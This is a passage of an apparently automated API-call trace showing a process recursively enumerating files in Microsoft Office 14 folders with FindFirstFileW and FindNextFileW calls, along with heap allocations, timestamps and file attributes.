cAlternateFileName="")) returned 0x3ec0430 [0042.024] FindNextFileW (in: hFindFile=0x3ec0430, lpFindFileData=0x33de920 | out: lpFindFileData=0x33de920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.024] FindNextFileW (in: hFindFile=0x3ec0430, lpFindFileData=0x33de920 | out: lpFindFileData=0x33de920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0042.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x33de6a4 | out: lpFindFileData=0x33de6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0470 [0042.025] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x33de6a4 | out: lpFindFileData=0x33de6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.025] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x33de6a4 | out: lpFindFileData=0x33de6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0042.624] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.624] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0042.624] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d99800, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61d99800, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x15b1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL002.XML", cAlternateFileName="")) returned 1 [0042.625] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x33a1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL010.XML", cAlternateFileName="")) returned 1 [0042.625] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1390, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL011.XML", cAlternateFileName="")) returned 1 [0042.625] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dea2700, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dea2700, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xa5178, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL012.XML", cAlternateFileName="")) returned 1 [0042.625] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca994100, ftCreationTime.dwHighDateTime=0x1ca1b2d, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca994100, ftLastWriteTime.dwHighDateTime=0x1ca1b2d, nFileSizeHigh=0x0, nFileSizeLow=0x22cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL016.XML", cAlternateFileName="")) returned 1 [0042.625] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9ac00, ftCreationTime.dwHighDateTime=0x1c6c1cc, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69d9ac00, ftLastWriteTime.dwHighDateTime=0x1c6c1cc, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL020.XML", cAlternateFileName="")) returned 1 [0042.625] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93746100, ftCreationTime.dwHighDateTime=0x1ca1b28, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93746100, ftLastWriteTime.dwHighDateTime=0x1ca1b28, nFileSizeHigh=0x0, nFileSizeLow=0x24c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL022.XML", cAlternateFileName="")) returned 1 [0042.626] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL026.XML", cAlternateFileName="")) returned 1 [0042.626] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x6d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL027.XML", cAlternateFileName="")) returned 1 [0042.626] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b28800, ftCreationTime.dwHighDateTime=0x1c9e3fe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b28800, ftLastWriteTime.dwHighDateTime=0x1c9e3fe, nFileSizeHigh=0x0, nFileSizeLow=0x266a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL044.XML", cAlternateFileName="")) returned 1 [0042.626] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187aa500, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x187aa500, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x10e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL048.XML", cAlternateFileName="")) returned 1 [0042.626] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22b5d00, ftCreationTime.dwHighDateTime=0x1c9f604, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf22b5d00, ftLastWriteTime.dwHighDateTime=0x1c9f604, nFileSizeHigh=0x0, nFileSizeLow=0x59f76, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL054.XML", cAlternateFileName="")) returned 1 [0042.626] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9300, ftCreationTime.dwHighDateTime=0x1c6b6bd, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc9300, ftLastWriteTime.dwHighDateTime=0x1c6b6bd, nFileSizeHigh=0x0, nFileSizeLow=0x26c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL058.XML", cAlternateFileName="")) returned 1 [0042.627] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc7d000, ftCreationTime.dwHighDateTime=0x1c68eef, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cc7d000, ftLastWriteTime.dwHighDateTime=0x1c68eef, nFileSizeHigh=0x0, nFileSizeLow=0x165d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL065.XML", cAlternateFileName="")) returned 1 [0042.627] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902d7600, ftCreationTime.dwHighDateTime=0x1c69abe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x902d7600, ftLastWriteTime.dwHighDateTime=0x1c69abe, nFileSizeHigh=0x0, nFileSizeLow=0xacb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL075.XML", cAlternateFileName="")) returned 1 [0042.627] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbcd1600, ftCreationTime.dwHighDateTime=0x1c6c538, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbcd1600, ftLastWriteTime.dwHighDateTime=0x1c6c538, nFileSizeHigh=0x0, nFileSizeLow=0x6134, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL077.XML", cAlternateFileName="")) returned 1 [0042.627] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe756a100, ftCreationTime.dwHighDateTime=0x1c6beda, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe756a100, ftLastWriteTime.dwHighDateTime=0x1c6beda, nFileSizeHigh=0x0, nFileSizeLow=0x753, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL078.XML", cAlternateFileName="")) returned 1 [0042.732] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fe6500, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91fe6500, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xe944e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL081.XML", cAlternateFileName="")) returned 1 [0042.734] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0042.835] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0042.835] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0042.836] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0042.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0042.856] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.856] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0042.856] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0042.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0042.857] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.857] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0042.857] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0042.857] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0042.857] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0042.857] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0042.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0042.858] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.858] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0042.858] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0042.858] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0042.858] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0042.858] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0042.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0042.858] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.858] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0042.859] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0042.859] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0042.859] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0042.860] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0042.860] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0042.862] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0042.862] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0042.863] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0042.865] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.865] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: 